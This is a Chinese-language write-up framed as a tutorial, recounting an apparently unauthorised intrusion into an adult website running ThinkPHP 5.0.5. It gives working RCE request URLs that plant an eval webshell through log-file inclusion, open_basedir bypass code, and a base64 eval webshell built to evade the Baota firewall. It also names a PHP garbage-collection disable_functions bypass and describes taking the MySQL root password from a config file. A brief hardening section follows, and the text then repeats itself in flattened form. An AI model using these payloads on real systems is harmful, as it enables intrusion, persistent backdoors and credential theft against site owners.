对一次宅男网站的渗透
字数 1548 2025-08-15 21:32:54

ThinkPHP 5.0.5渗透测试实战教学文档

0x00 目标锁定与初步信息收集

  1. 目标发现:通过云盘群组分享的宅男网站链接
  2. 技术栈识别
    • 使用ThinkPHP V5.0.5框架
    • 通过信息泄露获取网站真实IP
  3. 漏洞利用
    • ThinkPHP 5.0.*存在已知RCE漏洞
    • 直接利用RCE执行phpinfo()验证漏洞存在

0x01 初始Shell获取与disable_functions绕过

1.1 初始Shell获取方法

  1. 利用日志文件包含

    • 通过报错将一句话木马写入日志文件
    • 使用文件包含功能包含日志文件执行代码
    • 注意日志会不断刷新,需要重新写入
  2. 具体步骤

    // 利用报错写入日志
    http://target.com/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=runtime/log/error.log&vars[1][1]=<?php eval($_POST['cmd']);?>
    
    // 包含日志执行
    http://target.com/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=include&vars[1][]=runtime/log/error.log
    

1.2 绕过disable_functions限制

  1. 禁用函数检测

    • 查看phpinfo()确认被禁用的函数列表
    • 常见禁用函数:exec, system, passthru, shell_exec等
  2. PHP 7.0-7.3 gc绕过技术

    • 利用PHP 7.0-7.3版本中的垃圾回收机制漏洞
    • 漏洞编号:PHP Bug #72530
    • 适用版本:
      • PHP 7.0 - 7.0.33
      • PHP 7.1 - 7.1.31
      • PHP 7.2 - 7.2.23
      • PHP 7.3 - 7.3.10
  3. 绕过代码分析

    <?php
    # PHP 7.0-7.3 disable_functions bypass PoC (*nix only)
    # 主要功能函数:
    function str2ptr(&$str, $p = 0, $s = 8) {...}  // 字符串转指针
    function ptr2str($ptr, $m = 8) {...}          // 指针转字符串
    function write(&$str, $p, $v, $n = 8) {...}   // 内存写入
    function leak($addr, $p = 0, $s = 8) {...}    // 内存泄露
    function parse_elf($base) {...}               // ELF文件解析
    function get_basic_funcs($base, $elf) {...}   // 获取基础函数地址
    function get_binary_base($binary_leak) {...}  // 获取二进制基址
    function get_system($basic_funcs) {...}       // 获取system函数地址
    
  4. 利用步骤

    • 上传绕过脚本到服务器
    • 通过脚本获取system函数地址
    • 构造fake closure对象劫持函数调用
    • 最终执行任意系统命令

0x02 突破open_basedir限制

  1. 检测限制

    echo 'open_basedir: '.ini_get('open_basedir');
    
  2. 绕过方法

    // 使用chdir()和ini_set()组合突破
    mkdir('bypass');
    chdir('bypass');
    ini_set('open_basedir','..');
    chdir('..'); chdir('..'); chdir('..'); chdir('..');
    ini_set('open_basedir','/');
    
  3. 验证绕过

    // 执行后再次检查open_basedir
    echo 'open_basedir: '.ini_get('open_basedir');
    

0x03 绕过宝塔防火墙

  1. 防火墙检测机制

    • 主要对传入参数进行敏感函数检测
    • 未对文件内容进行深度验证
  2. 绕过技巧

    • 使用base64编码绕过参数检测
    // 生成shell的代码
    <?php eval(base64_decode($_GET[1337])); ?>
    
    // 使用方式
    http://target.com/shell.php?1337=base64_encoded_command
    
  3. 文件生成技巧

    • 通过一个中间文件生成最终shell
    • 访问特定URL在根目录生成webshell

0x04 提权尝试与失败分析

  1. MySQL提权尝试

    • 发现MySQL以root权限运行(5.6.47-log版本)
    • 通过配置文件(/etc/my.cnf)获取root密码
    • UDF提权失败原因:
      • /www/server/mysql/lib/plugin目录不可写
      • 缺少写入plugin目录的权限
  2. 环境劫持尝试

    • www用户为nologin用户,无家目录
    • 缺少.bash_profile文件,无法进行环境变量劫持
  3. 其他可能尝试

    • 内核漏洞提权(需确认内核版本)
    • SUID二进制文件查找
    • Cron job劫持

0x05 关键知识点总结

  1. ThinkPHP漏洞利用

    • 5.0.*版本的RCE漏洞利用
    • 日志文件包含技巧
  2. PHP限制绕过

    • disable_functions绕过技术
    • open_basedir限制突破
    • 宝塔防火墙绕过方法
  3. 提权思路

    • MySQL提权条件分析
    • 环境劫持条件判断
    • 权限提升失败原因分析

0x06 防御建议

  1. ThinkPHP防护

    • 及时升级到最新安全版本
    • 关闭调试模式
    • 限制日志目录访问
  2. PHP安全配置

    • 合理设置disable_functions
    • 配置正确的open_basedir
    • 定期更新PHP版本
  3. 服务器加固

    • MySQL不应以root运行
    • 限制plugin目录权限
    • 配置适当的防火墙规则
    • 监控异常文件创建
  4. 应急响应

    • 建立webshell检测机制
    • 日志审计与分析
    • 定期安全评估

附录:完整利用代码

disable_functions绕过脚本

[完整代码见原文,包含所有内存操作函数和利用逻辑]

open_basedir绕过代码

<?php
function bypass_open_basedir() {
    mkdir('bypass');
    chdir('bypass');
    ini_set('open_basedir','..');
    chdir('..'); chdir('..'); chdir('..'); chdir('..');
    ini_set('open_basedir','/');
    echo 'Current open_basedir: '.ini_get('open_basedir');
}
bypass_open_basedir();
?>

宝塔防火墙绕过webshell

<?php
// 保存为bypass.php
if(isset($_GET['1337'])) {
    eval(base64_decode($_GET['1337']));
} else {
    echo "Server is up!";
}
?>

本教学文档详细记录了从信息收集到提权尝试的完整渗透流程,重点突出了各种限制条件下的绕过技术,可作为高级渗透测试参考材料。

ThinkPHP 5.0.5渗透测试实战教学文档 0x00 目标锁定与初步信息收集 目标发现 :通过云盘群组分享的宅男网站链接 技术栈识别 : 使用ThinkPHP V5.0.5框架 通过信息泄露获取网站真实IP 漏洞利用 : ThinkPHP 5.0.* 存在已知RCE漏洞 直接利用RCE执行phpinfo()验证漏洞存在 0x01 初始Shell获取与disable_ functions绕过 1.1 初始Shell获取方法 利用日志文件包含 : 通过报错将一句话木马写入日志文件 使用文件包含功能包含日志文件执行代码 注意日志会不断刷新,需要重新写入 具体步骤 : 1.2 绕过disable_ functions限制 禁用函数检测 : 查看phpinfo()确认被禁用的函数列表 常见禁用函数:exec, system, passthru, shell_ exec等 PHP 7.0-7.3 gc绕过技术 : 利用PHP 7.0-7.3版本中的垃圾回收机制漏洞 漏洞编号:PHP Bug #72530 适用版本: PHP 7.0 - 7.0.33 PHP 7.1 - 7.1.31 PHP 7.2 - 7.2.23 PHP 7.3 - 7.3.10 绕过代码分析 : 利用步骤 : 上传绕过脚本到服务器 通过脚本获取system函数地址 构造fake closure对象劫持函数调用 最终执行任意系统命令 0x02 突破open_ basedir限制 检测限制 : 绕过方法 : 验证绕过 : 0x03 绕过宝塔防火墙 防火墙检测机制 : 主要对传入参数进行敏感函数检测 未对文件内容进行深度验证 绕过技巧 : 使用base64编码绕过参数检测 文件生成技巧 : 通过一个中间文件生成最终shell 访问特定URL在根目录生成webshell 0x04 提权尝试与失败分析 MySQL提权尝试 : 发现MySQL以root权限运行(5.6.47-log版本) 通过配置文件(/etc/my.cnf)获取root密码 UDF提权失败原因: /www/server/mysql/lib/plugin目录不可写 缺少写入plugin目录的权限 环境劫持尝试 : www用户为nologin用户,无家目录 缺少.bash_ profile文件,无法进行环境变量劫持 其他可能尝试 : 内核漏洞提权(需确认内核版本) SUID二进制文件查找 Cron job劫持 0x05 关键知识点总结 ThinkPHP漏洞利用 : 5.0.* 版本的RCE漏洞利用 日志文件包含技巧 PHP限制绕过 : disable_ functions绕过技术 open_ basedir限制突破 宝塔防火墙绕过方法 提权思路 : MySQL提权条件分析 环境劫持条件判断 权限提升失败原因分析 0x06 防御建议 ThinkPHP防护 : 及时升级到最新安全版本 关闭调试模式 限制日志目录访问 PHP安全配置 : 合理设置disable_ functions 配置正确的open_ basedir 定期更新PHP版本 服务器加固 : MySQL不应以root运行 限制plugin目录权限 配置适当的防火墙规则 监控异常文件创建 应急响应 : 建立webshell检测机制 日志审计与分析 定期安全评估 附录:完整利用代码 disable_ functions绕过脚本 [ 完整代码见原文,包含所有内存操作函数和利用逻辑 ] open_ basedir绕过代码 宝塔防火墙绕过webshell 本教学文档详细记录了从信息收集到提权尝试的完整渗透流程,重点突出了各种限制条件下的绕过技术,可作为高级渗透测试参考材料。